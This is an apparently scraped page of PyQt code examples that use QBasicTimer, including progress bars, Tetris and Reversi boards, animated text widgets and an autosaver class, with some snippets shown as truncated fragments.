class Marquee(QLabel):
    def __init__(self, **kwargs):
        super().__init__(**kwargs)
        self.right_to_left_direction = True
        self.initUI()
        self.timer = QBasicTimer()
        self.timer.start(80, self)

    def initUI(self):
        self.setWindowFlags(Qt.FramelessWindowHint)
        self.setAttribute(Qt.WA_TranslucentBackground)
        self.setText("Hello World! ")
        self.setFont(QFont(None, 50, QFont.Bold))
        # make more irritating for the authenticity with <marquee> element
        self.setStyleSheet("QLabel {color: cyan; }")

    def timerEvent(self, event):
        i = 1 if self.right_to_left_direction else -1
        self.setText(self.text()[i:] + self.text()[:i])  # rotate

    def mouseReleaseEvent(self, event):  # change direction on mouse release
        self.right_to_left_direction = not self.right_to_left_direction

    def keyPressEvent(self, event):  # exit on Esc
        if event.key() == Qt.Key_Escape:
            self.close()
Exemple #2
0
 def __init__(self, parent):
     QBasicTimer.__init__(self)
     self.startTime = 0
     self.interval = 0
     self.is_started = False
     self.is_paused = False
     self.parent = parent
Exemple #3
0
class T_window(QWidget):
    def __init__(self):
        super().__init__()
        self.tabs = QTabWidget()
        self.com = T_communication()
        self.pbar = QProgressBar()
        self.pbar.setFormat("Battery : %p%")
        self.grid = QGridLayout()

        self.setLayout(self.grid)
        self.grid.addWidget(self.pbar)
        self.grid.addWidget(self.tabs)

        self.dpi = T_dpi()
        self.com.getDpi(self.dpi)
        self.dpi.dataHasBeenSent()
        self.t = []
        for i in range(0, 4):
            self.t.append(T_tab(i, self.dpi, self.com))
            self.tabs.addTab(self.t[i], "Mode " + str(i + 1))

        self.data = T_data(self.pbar, self.tabs, self.dpi, self.com)
        for i in range(0, 4):
            self.t[i].sendButton.clicked.connect(self.data.sendDpi)
            self.t[i].resetButton.clicked.connect(self.com.resetDpi)
        self.timer = QBasicTimer()
        self.timer.start(100, self.data)
        self.tabs.currentChanged.connect(self.com.sendMode)
Exemple #4
0
class WigglyLabel(object):

    def __init__(self, clazz):
        self.clazz = clazz
        # clazz.setBackgroundRole(QPalette.Midlight)
        # clazz.setAutoFillBackground(True)

        setattr(clazz, "paintEvent", self.paintEvent)
        setattr(clazz, "timerEvent", self.timerEvent)

#         newFont = self.clazz.font()
#         newFont.setPointSize(newFont.pointSize() + 20)
#         self.clazz.setFont(newFont)

        self.timer = QBasicTimer()

        self.step = 0;
        self.timer.start(60, self.clazz)

    def __del__(self):
        self.timer.stop()

    def getText(self):
        return self.clazz.text()

    def paintEvent(self, event):
        # 上下跳动
        # sineTable = (0, 38, 71, 92, 100, 92, 71, 38, 0, -38, -71, -92, -100, -92, -71, -38)

        metrics = QFontMetrics(self.clazz.font())
        x = (self.clazz.width() - metrics.width(self.getText())) / 2
        y = (self.clazz.height() + metrics.ascent() - metrics.descent()) / 2
        color = QColor()

        painter = QPainter(self.clazz)

        for i, ch in enumerate(self.getText()):
            index = (self.step + i) % 16
            color.setHsv((15 - index) * 16, 255, 191)
            painter.setPen(color)
            # 上下跳动
            # painter.drawText(x, y - ((sineTable[index] * metrics.height()) / 400), ch)
            painter.drawText(x, y , ch)
            x += metrics.width(ch)

    def timerEvent(self, event):
        if event.timerId() == self.timer.timerId():
            self.step += 1
            self.clazz.update()
        else:
            super(WigglyLabel, self).timerEvent(event)
    def init_timers(self):
        """Initializes the timers in the game."""
        self.game_timer = QBasicTimer()
        self.rock_timer = QBasicTimer()
        self.level_timer = QBasicTimer()
        self.powerup_timer = QBasicTimer()
        self.ticker_timer = QBasicTimer()
        self.bullet_timer = QBasicTimer()

        self.player_invincibility_timer = QBasicTimer()
        self.big_bomb_timer = QBasicTimer()
        self.slow_down_rocks_timer = QBasicTimer()
        self.shoot_rocks_timer = QBasicTimer()

        self.powerup_duration_timer = QTimer()
Exemple #6
0
class setupWidget(QWidget):

	def __init__(self,parent_):
		super(setupWidget,self).__init__(parent_)
		self.parent_=parent_
		self.initUI()

	def initUI(self):
		self.pbar = QProgressBar(self)
		self.pbar.setObjectName('pbar')
		self.pbar.setTextVisible(True)
		self.pbar.setFormat('Configuring...')

		self.timer = QBasicTimer()
		self.step = 0

		pixmap=QPixmap(':/Assets/moodly.gif')
		lbl=QLabel(self)
		lbl.setPixmap(pixmap)

		hbox1=QHBoxLayout()
		hbox1.addStretch(1)
		hbox1.addWidget(lbl)
		hbox1.addStretch(1)

		hbox2=QHBoxLayout()
		hbox2.addStretch(1)
		hbox2.addWidget(self.pbar)
		hbox2.addStretch(1)

		vbox=QVBoxLayout()
		vbox.addStretch(8)
		vbox.addLayout(hbox1)
		vbox.addStretch(1)
		vbox.addLayout(hbox2)
		vbox.addStretch(8)

		self.setLayout(vbox)
		self.callTimer()

	def timerEvent(self,e):
		if self.step>=100:
			self.step=0
		self.step=self.step+1
		self.pbar.setValue(self.step)

	def callTimer(self):
		 self.timer.start(100, self)
Exemple #7
0
 def __init__(self):
     super().__init__()
     self.speed = 100  #重绘速度1s
     self.WindowSize = 50
     self.timer = QBasicTimer()
     self.sim = sm.Stimulator(self.WindowSize)
     self.initUI()
Exemple #8
0
    def __init__(self, parent = None):
        super(TetrixBoard, self).__init__(parent)
        self.setStyleSheet("background-color:black;border:2px solid darkGreen;")

        self.timer = QBasicTimer()
        self.nextPieceLabel = None
        self.isWaitingAfterLine = False
        self.curPiece = TetrixPiece()
        self.nextPiece = TetrixPiece()
        self.curX = 0
        self.curY = 0
        self.numLinesRemoved = 0
        self.numPiecesDropped = 0
        self.score = 0
        self.level = 0
        self.board = None

        #self.setFrameStyle(QFrame.Panel | QFrame.Sunken)
        self.setFrameStyle(QFrame.Box)
        self.setFocusPolicy(Qt.StrongFocus)
        self.isStarted = False
        self.isPaused = False
        self.clearBoard()

        self.nextPiece.setRandomShape()
Exemple #9
0
	def initUI(self):
		self.pbar = QProgressBar(self)
		self.pbar.setObjectName('pbar')
		self.pbar.setTextVisible(True)
		self.pbar.setFormat('Configuring...')

		self.timer = QBasicTimer()
		self.step = 0

		pixmap=QPixmap(':/Assets/moodly.gif')
		lbl=QLabel(self)
		lbl.setPixmap(pixmap)

		hbox1=QHBoxLayout()
		hbox1.addStretch(1)
		hbox1.addWidget(lbl)
		hbox1.addStretch(1)

		hbox2=QHBoxLayout()
		hbox2.addStretch(1)
		hbox2.addWidget(self.pbar)
		hbox2.addStretch(1)

		vbox=QVBoxLayout()
		vbox.addStretch(8)
		vbox.addLayout(hbox1)
		vbox.addStretch(1)
		vbox.addLayout(hbox2)
		vbox.addStretch(8)

		self.setLayout(vbox)
		self.callTimer()
Exemple #10
0
    def initUI(self):
        self.gridSize = 22
        self.speed = 10

        self.timer = QBasicTimer()
        self.setFocusPolicy(Qt.StrongFocus)

        hLayout = QHBoxLayout()
        self.tboard = Board(self, self.gridSize)
        hLayout.addWidget(self.tboard)

        self.sidePanel = SidePanel(self, self.gridSize)
        hLayout.addWidget(self.sidePanel)

        self.statusbar = self.statusBar()
        self.tboard.msg2Statusbar[str].connect(self.statusbar.showMessage)

        self.start()

        self.center()
        self.setWindowTitle('Tetris')
        self.show()

        self.setFixedSize(self.tboard.width() + self.sidePanel.width(),
                          self.sidePanel.height() + self.statusbar.height())
Exemple #11
0
 def init_ui(self, board_size, game_mode, game_difficulty_level,
             game_time_for_move):
     self.game = Game(board_size, mode=game_mode,
                      difficulty_level=game_difficulty_level,
                      is_console_game=False,
                      time_for_move=game_time_for_move)
     self.game_was_saved = False
     self.time_for_move = game_time_for_move
     self.count = self.time_for_move
     self.timer = QBasicTimer()
     self.move_timer = QTimer()
     self.ai_thread = AIThread(self)
     self.ai_thread.finished.connect(self.ai_finish)
     self.ai_finished = True
     self.load_images()
     self.add_toolbar()
     self.font_size = 10
     self.resize(board_size * s.IMG_SIZE,
                 (board_size * s.IMG_SIZE + self.toolbar.height() + 10 +
                  self.font_size))
     self.center()
     self.setWindowTitle('Reversi')
     self.show()
     self.timer.start(1, self)
     self.move_timer.timeout.connect(self.count_down)
     self.move_timer.start(1000)
Exemple #12
0
    def __init__(self, parent):

        super().__init__(parent)
        self.parent = parent
        # self.initBoard()

        self.loadPixmaps()
        self.use_this_pixmap = self.nurse_pixmap

        # setting logical value for information about animation state
        self.isStopped = False
        self.isActive = False

        self.symptoms = []

        # creating empty list of points of size board_width x board_height
        self.board = [
            [
                ''
                for x in range(self.board_width)
            ]
            for y in range(self.board_height)
        ]

        # creating list of static map objects
        # PIXMAPs are declared in function self.loadPixmaps()

        self.objects = {
            Object("curtain1",  (0, 0),     (80, 160),  7),
            Object("bed1",      (80, 0),    (80, 160),  4),
            Object("curtain2",  (240, 0),   (80, 160),  7),
            Object("bed2",      (320, 0),   (80, 160),  4),
            Object("curtain3",  (480, 0),   (80, 160),  7),
            Object("bed3",      (560, 0),   (80, 160),  5),
            # Object("table_top", (640, 240), (80, 80),   8, 90),
            Object("table",     (640, 400), (80, 80),   9, 90),
            Object("curtain4",  (0, 240),   (160, 80),  7, 90),
            Object("bed4",      (0, 320),   (160, 80),  6, 270),
            Object("curtain5",  (0, 480),   (160, 80),  7, 90),
            # Object
        }

        for obj in self.objects:
            if obj.getName() == 'bed3' or obj.getName() == 'bed4':
                obj.changePixmap(4)

        """
        Creating graph to get paths
        """
        self.graph = GridWithWeights(self.graph_width,
                                     self.graph_height)
        self.graph.setWalls(*self.objects)
        self.path = []

        # drawing static objects on map
        # self.fillBoard(80, 0, 40, 80, 'bed')

        # creating timer
        self.timer = QBasicTimer()
Exemple #13
0
 def start(self):
     self.show()
     self.setFocusPolicy(Qt.StrongFocus)
     self.timer = QBasicTimer()
     self.timer.start(150, self)
     if isinstance(self.game.first_player, Computer) \
         and isinstance(self.game.second_player, Computer):
         self.computers_play()
 def __init__(self, *args, **kwargs):
     '''
     Class representing OpenGL widget in the VisualizationWindow.
     '''
     super(OpenGLWidget, self).__init__(*args, **kwargs)
     self._room = self.parent().room   # assign room geometry to a variable
     self.setGeometry(self.parent()._width * .25, 0, self.parent()._width, self.parent()._height)   # window size/pos
     self._timer = QBasicTimer()   # create a timer
Exemple #15
0
class Example(QWidget):
    def __init__(self):
        super().__init__()
        self.initUI()
 
    def initUI(self):
        self.progress_bar = QProgressBar(self)
        self.progress_bar.setGeometry(30, 40, 200, 25)
 
        self.btn = QPushButton('Start', self)
        self.btn.move(30, 80)
        self.btn.clicked.connect(self.doAction)
 
        self.timer = QBasicTimer()
        self.step = 0
 
        self.setGeometry(300, 300, 280, 170)
        self.setWindowTitle('QProgressBar')
        self.show()
 
    def timerEvent(self, QTimerEvent):
        if self.step >= 100:
            self.timer.stop()
            self.btn.setText('Finished')
            return
        self.step += 1
        self.progress_bar.setValue(self.step)
 
    def doAction(self):
        if self.timer.isActive():
            self.timer.stop()
            self.btn.setText('Start')
        else:
            self.timer.start(100, self)
            self.btn.setText('Stop')
 def __init__(self, parent):
     super().__init__(parent)
     self.board = None
     self.command = None
     self.longestPV = []
     self.lastlongestPV = []
     self.initUI()
     self.timer = QBasicTimer()
     self.timer.start(100, self)
 def __init__(self, parent = None):
     super(WigglyWidget, self).__init__(parent)
     newFont = self.font()
     newFont.setPointSize(newFont.pointSize() + 20)
     self.setFont(newFont)
     self.timer = QBasicTimer()
     self.text = ""
     self.step = 0
     self.timer.start(60, self)
Exemple #18
0
class WigglyWidget(QWidget):
    def __init__(self, parent=None):
        super(WigglyWidget, self).__init__(parent)

        self.setBackgroundRole(QPalette.Midlight)
        self.setAutoFillBackground(True)

        newFont = self.font()
        newFont.setPointSize(newFont.pointSize() + 20)
        self.setFont(newFont)

        self.timer = QBasicTimer()
        self.text = ''

        self.step = 0;
        self.timer.start(60, self)   

    def paintEvent(self, event):
        sineTable = (0, 38, 71, 92, 100, 92, 71, 38, 0, -38, -71, -92, -100, -92, -71, -38)

        metrics = QFontMetrics(self.font())
        x = (self.width() - metrics.width(self.text)) / 2
        y = (self.height() + metrics.ascent() - metrics.descent()) / 2
        color = QColor()

        painter = QPainter(self)

        for i, ch in enumerate(self.text):
            index = (self.step + i) % 16
            color.setHsv((15 - index) * 16, 255, 191)
            painter.setPen(color)
            painter.drawText(x, y - ((sineTable[index] * metrics.height()) / 400), ch)
            x += metrics.width(ch)

    def setText(self, newText):
        self.text = newText

    def timerEvent(self, event):
        if event.timerId() == self.timer.timerId():
            self.step += 1
            self.update()
        else:
            super(WigglyWidget, self).timerEvent(event)
Exemple #19
0
 def init_field(self, game):
     self.game = game
     self.ways = Ways()
     self.timer = QBasicTimer()
     self.height = self.game.field.get_height()
     self.width = self.game.field.get_width()
     self.mat = self.game.field
     grid = QGridLayout()
     self.setLayout(grid)
     grid.setSpacing(1)
     self.draw()
     self.timer.start(600, self)
Exemple #20
0
    def __init__(self):
        super(DedeNimeur, self).__init__()
        self.statusBar()

        self.size, self.height, self.width, self.mines = 30, 10, 10, 10
        self.lcd = QLCDNumber()
        self.lcd.setFixedSize(300, 60)
        self.board = Board(self.height, self.width, self.mines, self.size)
        self.timer = QBasicTimer()
        self.real_timer = QElapsedTimer()

        vbox = QVBoxLayout()
        vbox.addWidget(self.lcd)
        vbox.addWidget(self.board)

        central = QWidget()
        central.setLayout(vbox)
        self.setCentralWidget(central)

        start = QAction('Start', self)
        start.setStatusTip('Start')
        start.setShortcut('Ctrl+N')
        start.triggered.connect(self.init)

        exit = QAction('Exit', self)
        exit.setStatusTip('Exit')
        exit.setShortcut('Ctrl+Q')
        exit.triggered.connect(qApp.quit)

        height = QAction('Height', self)
        height.setStatusTip('Set board width')
        height.triggered.connect(self.set_height)
        width = QAction('Width', self)
        width.setStatusTip('Set board height')
        width.triggered.connect(self.set_width)
        mines = QAction('Mines', self)
        mines.setStatusTip('Set board mines')
        mines.triggered.connect(self.set_mines)
        size = QAction('Size', self)
        size.setStatusTip('Set button size')
        size.triggered.connect(self.set_size)

        toolbar = self.addToolBar('Toolbar')
        toolbar.addAction(start)
        toolbar.addAction(width)
        toolbar.addAction(height)
        toolbar.addAction(mines)
        toolbar.addAction(size)
        toolbar.addAction(exit)

        self.setWindowTitle(u'DédéNimeur')
        self.show()
Exemple #21
0
    def initBoard(self):
        self.timer = QBasicTimer()
        self.isWaitingAfterLine = False

        self.curX = 0
        self.curY = 0
        self.numLinesRemoved = 0
        self.board = []

        self.setFocusPolicy(Qt.StrongFocus)
        self.isStarted = False
        self.isPaused = False
        self.clearBoard()
Exemple #22
0
class AutoSaver(QObject):
    """
    Class implementing the auto saver.
    """
    AUTOSAVE_IN = 1000 * 3
    MAXWAIT = 1000 * 15
    
    def __init__(self, parent, save):
        """
        Constructor
        
        @param parent reference to the parent object (QObject)
        @param save slot to be called to perform the save operation
        @exception RuntimeError raised, if no parent is given
        """
        super(AutoSaver, self).__init__(parent)
        
        if parent is None:
            raise RuntimeError("AutoSaver: parent must not be None.")
        
        self.__save = save
        
        self.__timer = QBasicTimer()
        self.__firstChange = QTime()
    
    def changeOccurred(self):
        """
        Public slot handling a change.
        """
        if self.__firstChange.isNull():
            self.__firstChange.start()
        
        if self.__firstChange.elapsed() > self.MAXWAIT:
            self.saveIfNeccessary()
        else:
            self.__timer.start(self.AUTOSAVE_IN, self)
    
    def timerEvent(self, evt):
        """
        Protected method handling timer events.
        
        @param evt reference to the timer event (QTimerEvent)
        """
        if evt.timerId() == self.__timer.timerId():
            self.saveIfNeccessary()
        else:
            super(AutoSaver, self).timerEvent(evt)
    
    def saveIfNeccessary(self):
        """
        Public method to activate the save operation.
        """
        if not self.__timer.isActive():
            return
        
        self.__timer.stop()
        self.__firstChange = QTime()
        self.__save()
Exemple #23
0
    def initUI(self):
        self.progress_bar = QProgressBar(self)
        self.progress_bar.setGeometry(30, 40, 200, 25)
 
        self.btn = QPushButton('Start', self)
        self.btn.move(30, 80)
        self.btn.clicked.connect(self.doAction)
 
        self.timer = QBasicTimer()
        self.step = 0
 
        self.setGeometry(300, 300, 280, 170)
        self.setWindowTitle('QProgressBar')
        self.show()
Exemple #24
0
class LiquidBox(QWidget):
    # 模拟流体力学程序,盛着液体的盒子
    def __init__(self):
        super().__init__()
        self.speed = 100  #重绘速度1s
        self.WindowSize = 50
        self.timer = QBasicTimer()
        self.sim = sm.Stimulator(self.WindowSize)
        self.initUI()

    def initUI(self):
        self.setGeometry(200, 200, 600, 600)
        self.setFixedSize(400, 400)
        self.setWindowTitle("流体力学模拟程序")
        self.timer.start(self.speed, self)
        self.show()

    #处理计时器消息
    def timerEvent(self, event):
        if event.timerId() == self.timer.timerId():
            self.update()
        else:
            super().timerEvent(event)

    #处理重绘消息
    def paintEvent(self, event):
        qp = QPainter()
        qp.begin(self)
        self.Draw(qp)
        qp.end()

    #具体绘图函数
    def Draw(self, qp):
        qp.setPen(Qt.blue)
        points = self.sim.step()
        for i in range(len(points)):
            qp.drawPoint(int(points[i][0]), int(points[i][1]))
Exemple #25
0
    def __init__(self, parent=None):
        super(WigglyWidget, self).__init__(parent)

        self.setBackgroundRole(QPalette.Midlight)
        self.setAutoFillBackground(True)

        newFont = self.font()
        newFont.setPointSize(newFont.pointSize() + 20)
        self.setFont(newFont)

        self.timer = QBasicTimer()
        self.text = ''

        self.step = 0;
        self.timer.start(60, self)   
class Example(QWidget):
    
    def __init__(self):
        super().__init__()
        
        self.initUI()
        
        
    def initUI(self):      

        self.pbar = QProgressBar(self)
        self.pbar.setGeometry(30, 40, 200, 25)

        self.btn = QPushButton('Start', self)
        self.btn.move(40, 80)
        self.btn.clicked.connect(self.doAction)

        # タイマー
        self.timer = QBasicTimer()
        self.step = 0
        
        self.setGeometry(300, 300, 280, 170)
        self.setWindowTitle('QProgressBar')
        self.show()
        
        
    def timerEvent(self, e):
        # カウントが100に達すると終了
        if self.step >= 100:
            self.timer.stop()
            self.btn.setText('Finished')
            return
    
        # 呼ばれるたび1ずつ増やす
        self.step = self.step + 1
        self.pbar.setValue(self.step)
        

    def doAction(self):
        """ボタンが押されると呼ばれる"""

        # タイマーが実行中ならタイマーを停止する
        if self.timer.isActive():
            self.timer.stop()
            self.btn.setText('Start')
        # タイマーが停止中ならタイマーを実行する
        else:
            # (timeout[ms], イベントの受取先)
            # timeoutで指定した時間間隔でシグナルが飛ぶ模様
            self.timer.start(1000, self)
            self.btn.setText('Stop')
Exemple #27
0
    def __init__(self, clazz):
        self.clazz = clazz
        # clazz.setBackgroundRole(QPalette.Midlight)
        # clazz.setAutoFillBackground(True)

        setattr(clazz, "paintEvent", self.paintEvent)
        setattr(clazz, "timerEvent", self.timerEvent)

#         newFont = self.clazz.font()
#         newFont.setPointSize(newFont.pointSize() + 20)
#         self.clazz.setFont(newFont)

        self.timer = QBasicTimer()

        self.step = 0;
        self.timer.start(60, self.clazz)
Exemple #28
0
    def __init__(self, parent = None):
        super(LightMaps, self).__init__(parent)

        self.pressed = False
        self.snapped = False
        self.zoomed = False
        self.invert = False
        self._normalMap = SlippyMap(self)
        self._largeMap = SlippyMap(self)
        self.pressPos = QPoint()
        self.dragPos = QPoint()
        self.tapTimer = QBasicTimer()
        self.zoomPixmap = QPixmap()
        self.maskPixmap = QPixmap()
        self._normalMap.updated.connect(self.updateMap)
        self._largeMap.updated.connect(self.update)
Exemple #29
0
 def __init__(self, parent=None):
     super(HAdjustmentBar, self).__init__(parent)
     self.value = 50
     self.step = 1
     self.hi_value = 100
     self.low_value = 50
     self.timer_value = 25
     self.texttemplate = 'Value =  %s'
     self.timer = QBasicTimer()
     self.showToggleButton = True
     self.showSettingMenu = True
     self.bar = LabeledBar()
     #self.bar.setSizePolicy(QSizePolicy.Expanding,QSizePolicy.Expanding)
     # black magic class patching
     # so calling these functions actually calls the self.bar's functions.
     self.minimum = self.bar.minimum
     self.maximum = self.bar.maximum
Exemple #30
0
 def __init__(self, parent, save):
     """
     Constructor
     
     @param parent reference to the parent object (QObject)
     @param save slot to be called to perform the save operation
     @exception RuntimeError raised, if no parent is given
     """
     super(AutoSaver, self).__init__(parent)
     
     if parent is None:
         raise RuntimeError("AutoSaver: parent must not be None.")
     
     self.__save = save
     
     self.__timer = QBasicTimer()
     self.__firstChange = QTime()
class ProgressBarDemo(QWidget):
    def __init__(self):
        super().__init__()

        self.progressBar = QProgressBar(self)
        self.progressBar.setGeometry(30, 40, 200, 25)

        self.btnStart = QPushButton('Start', self)
        self.btnStart.move(30, 80)
        self.btnStart.clicked.connect(self.startProgress)

        self.btnReset = QPushButton('Reset', self)
        self.btnReset.move(120, 80)
        self.btnReset.clicked.connect(self.resetBar)

        self.timer = QBasicTimer()
        self.step = 0

    def resetBar(self):
        self.step = 0
        self.progressBar.setValue(0)

    def startProgress(self):
        if self.timer.isActive():
            self.timer.stop()
            self.btnStart.setText('Start')
        else:
            self.timer.start(100, self)
            self.btnStart.setText('Stop')

    def timerEvent(self, event):
        if self.step >= 100:
            self.timer.stop()
            self.btnStart.setText('Start')
            return

        self.step += 1
        self.progressBar.setValue(self.step)
Exemple #32
0
    class Example(QWidget):
        def __init__(self):
            super().__init__()
            self.initUI()

        def initUI(self):
            # 创建进度条
            self.pbar = QProgressBar(self)
            self.pbar.setGeometry(30, 40, 200, 25)
            # 创建开始按钮
            self.btn = QPushButton('Start', self)
            self.btn.move(40, 80)
            self.btn.clicked.connect(self.doAction)
            # 创建计时器,初始化计数
            self.timer = QBasicTimer()
            self.step = 0

            self.setGeometry(300, 300, 280, 170)
            self.setWindowTitle('QProgressBar')
            self.show()

        def timerEvent(self, e):
            if self.step >= 100:
                self.timer.stop()
                self.btn.setText('Finished')
                return

            self.step = self.step + 1
            self.pbar.setValue(self.step)

        def doAction(self):

            if self.timer.isActive():
                self.timer.stop()
                self.btn.setText('Start')
            else:
                self.timer.start(100, self)
                self.btn.setText('Stop')
Exemple #33
0
class Example(QWidget):
    def __init__(self):
        super().__init__()
        self.init_ui()

    def init_ui(self):
        self.pbar = QProgressBar(self)  # 创建一个QProcessBar实例对象
        self.pbar.setGeometry(30, 40, 200, 25)

        self.btn = QPushButton('开始', self)
        self.btn.move(40, 80)
        self.btn.clicked.connect(self.do_action)

        self.timer = QBasicTimer()  # 通过QBasicTimer的实例对象self.timer来用于激活进度条
        self.step = 0

        self.setGeometry(300, 300, 280, 170)
        self.setWindowTitle('进度条')
        self.show()

    def timerEvent(self, e):
        if self.step >= 100:
            self.timer.stop()
            self.btn.setText('结束')
            return

        self.step = self.step + 1
        self.pbar.setValue(self.step)

    def do_action(self):  # 通过do_action()方法我能开始或停止进度条
        if self.timer.isActive():
            self.timer.stop()
            self.btn.setText('开始')
        else:
            self.timer.start(
                100, self
            )  # 调用start()方法来激活进度条, 这个方法有2个参数:the timeout and the object which will receive the events.
            self.btn.setText('结束')
class Example(QWidget):
    def __init__(self):
        super().__init__()
        self.initUI()

    def initUI(self):
        self.pbar = QProgressBar(self)
        self.pbar.setGeometry(30, 40, 200, 25)

        self.btn = QPushButton('start', self)
        self.btn.move(40, 80)
        self.btn.clicked.connect(self.doAction)

        self.timer = QBasicTimer()
        self.step = 0

        self.setGeometry(300, 300, 250, 150)
        self.setWindowTitle('QProgressBar')
        self.show()

    def timerEvent(self, e):
        if self.step >= 100:
            self.timer.stop()
            self.btn.setText('Finished')
            return
        self.step += 1
        self.pbar.setValue(self.step)

    def doAction(self):
        if self.timer.isActive():
            self.timer.stop()
            self.btn.setText('Start')
        else:
            self.timer.start(
                100,
                self)  # 这里调用timerEvent, 第一个参数是timeout, 第二个是接收events的object
            self.btn.setText('Stop')
Exemple #35
0
class MyApp(QWidget):

    def __init__(self):
        super().__init__()
        self.initUI()

    def initUI(self):
        self.pbar = QProgressBar(self) # 프로그레스 객체 생성
        self.pbar.setGeometry(30, 40, 200, 25) # 프로그레스(%) 진행 될 네모칸 만들기

        self.btn = QPushButton('Start', self) # 스타트버튼 만들기
        self.btn.move(40, 80) # 버튼 크기 결정
        self.btn.clicked.connect(self.doAction) # 클릭하면 액션 함수 실행하도록 만들기

        self.timer = QBasicTimer() # 타이머 객체 생성
        self.step = 0 # 스텝 변수에 기본값 0 할당(함수에 1씩 증가하도록 할 예정)

        self.setWindowTitle('QProgressBar')
        self.setGeometry(300, 300, 300, 200)
        self.show()

    def timerEvent(self, e): # 위젯에 상속되어있는 함수를 수정한다.(timerEvent는 QObject에 상속되어있는 함수이다.)
        if self.step >= 100: # 만약 값이 100보다 같거나 커지면
            self.timer.stop() # 타이머를 정지시키고
            self.btn.setText('Finished') # 버튼에 써있는 값을 Finished로 변경
            return # 100보다 같거나 크지 않을경우에는 return 이 실행되지 않음

        self.step = self.step + 1 # if가 실행되지 않을 경우, 기존에 0으로 설정한 값을 1씩 더하면서 증가시킨다. 
        self.pbar.setValue(self.step) # 프로그레스 바를 step 값과 동일하게 변경해준다.(녹색 바의 위치를 지정해주는게 setValue 함수)

    def doAction(self): # Push버튼 눌렀을 때 호출하는 함수
        if self.timer.isActive(): # (timer.isActive() == True)일 때 실행(불린값으로 반환) - 만약 활성화 되어 있다면
            self.timer.stop() # 타이머를 스탑시키고
            self.btn.setText('Start') # 스타트 버튼을 누를 수 있다.
        else:
            self.timer.start(100, self) # 스타트 시키고
            self.btn.setText('Stop') # 스탑 버튼을 누를 수 있다.
Exemple #36
0
class simple_4(QWidget):
    def __init__(self):
        super().__init__()
        self.initUI()

    def initUI(self):
        self.pbar = QProgressBar(self)
        self.pbar.setGeometry(30, 40, 200, 25)

        self.btn = QPushButton('start', self)
        self.btn.move(40, 80)
        self.btn.clicked.connect(self.doAction)

        self.timer = QBasicTimer()
        self.step = 0

        self.setGeometry(300, 300, 280, 170)
        self.setWindowTitle('QSlider')
        self.show()

    #重载定时器
    def timerEvent(self, e):
        if self.step >= 100:
            self.timer.stop()
            self.btn.setText('Finished')
            return
        self.step += 1
        self.pbar.setValue(self.step)

    def doAction(self):
        if self.timer.isActive():
            self.timer.stop()
            self.btn.setText('Start')
        else:
            #设置时间间隔,每隔多少毫秒调用timerEvent一次
            self.timer.start(100, self)
            self.btn.setText('Stop')
class Example(QWidget):
    def __init__(self):
        super(Example, self).__init__()
        self.initUI()

    def initUI(self):
        self.pbar = QProgressBar(self)  #pbar 프로그래스바 설정
        self.pbar.setGeometry(30, 40, 200, 25)  # 위치 설정

        self.btn = QPushButton('start', self)  #푸시버든 생성
        self.btn.move(40, 80)  # 버튼 위치 설정
        self.btn.clicked.connect(self.doAction)  # 클릭버튼 doAction 연결

        self.timer = QBasicTimer()
        self.step = 0

        # 기본 화면 구성 설정
        self.setGeometry(300, 300, 280, 170)
        self.setWindowTitle('QProgreseBar')
        self.show()

    def timerEvent(self, e):  # 일정 시간 단위로 동작
        if self.step >= 100:
            self.timer.stop()  #100이상일 경우 멈추고 1증가
            self.btn.setText('Finished')
            return

        self.step = self.step + 1  # 100보다 작은경우 Step을 1씩 증가
        self.pbar.setValue(self.step)  # pbar에 표시

    def doAction(self):
        if self.timer.isActive():  # 타이머 활성화 여부 확인
            self.timer.stop()  # 활성화 상태면 중단
            self.btn.setText('Start')  # 타이머가 실행이 되고 있으면 Start로 변경해라
        else:
            self.timer.start(100, self)  # 100/1000= 0.1초 마다 타이머를 실행
            self.btn.setText('stop')  # 버튼을 stop으로 변경해라
Exemple #38
0
class Example(QMainWindow):
    def __init__(self):
        super().__init__()
        self.setWindowIcon(QIcon("cc.png"))
        self.initUI()

    def initUI(self):
        self.pbar = QProgressBar(self)
        self.pbar.setGeometry(30, 40, 200, 25)
        self.btn = QPushButton('Start', self)
        self.btn.move(40, 80)
        self.btn.clicked.connect(self.doAction)
        self.timer = QBasicTimer()
        self.step = 0
        self.setGeometry(300, 300, 280, 170)
        self.setWindowTitle('Home')
        self.statusBar().showMessage("Ready")

        self.resize(500, 300)
        self.show()

    def timerEvent(self, e):
        if self.step >= 100:
            self.timer.stop()
            self.btn.setText('Finished')
            return
        self.step = self.step + 1
        self.pbar.setValue(self.step)

    def doAction(self):
        if self.timer.isActive():
            self.timer.stop()
            self.btn.setText('Start')
        else:
            self.timer.start(100, self)
            self.btn.setText('Stop')
Exemple #39
0
class Example(QWidget):
    def __init__(self):
        super(Example, self).__init__()
        self.initUI()

    def initUI(self):
        self.prbar = QProgressBar(self)
        self.prbar.setGeometry(30, 40, 200, 25)

        self.btn = QPushButton("start", self)
        self.btn.move(40, 80)
        self.btn.clicked.connect(self.doAction)

        self.timer = QBasicTimer()
        self.step = 0

        self.setGeometry(300, 300, 280, 170)
        self.setWindowTitle("timer")
        self.show()

    def doAction(self):
        if self.timer.isActive():
            self.timer.stop()
            self.btn.setText("start")
        else:
            self.timer.start(100, self)
            self.btn.setText("stop")

    def timerEvent(self, event):
        if self.step >= 100:
            self.timer.stop()
            self.btn.setText("finished")
            return

        self.step = self.step + 1
        self.prbar.setValue(self.step)
Exemple #40
0
class Example(QWidget):
    def __init__(self):
        super().__init__()
        self.initUI()  # 显示窗体内容

    def initUI(self):
        self.pbar = QProgressBar(self)
        self.pbar.setGeometry(30, 50, 200, 25)  #设置进度条位置及大小
        self.btn = QPushButton('开始', self)
        self.btn.move(50, 90)
        self.btn.clicked.connect(
            self.doAction)  #点击按钮时执行的动作函数指定为self.doAction()
        # self.btn.setGeometry(50, 90, 40, 25)

        self.timer = QBasicTimer()  #构建一个计数器
        self.step = 0  #设置基数
        self.setGeometry(300, 300, 280, 170)  # 设置整个窗体的大小
        self.setWindowTitle('进度条')  #设置窗口标题
        # self.setWindowIcon('logo2.png') #设置窗口图标
        self.show()

    def timerEvent(self, *args, **kwargs):
        if self.step >= 100:
            self.timer.stop()
            self.btn.setText('完成')
            return
        self.step += 1
        self.pbar.setValue(self.step)  #timer每次重围时将self.step 赋值给pbar

    def doAction(self):
        if self.timer.isActive():
            self.timer.stop()
            self.btn.setText('开始')
        else:
            self.timer.start(100, self)
            self.btn.setText('停止')
class progressBar(QWidget):
    def __init__(self):
        super().__init__()
        self.setupUI()

    def setupUI(self):
        self.progressBar = QProgressBar(self)
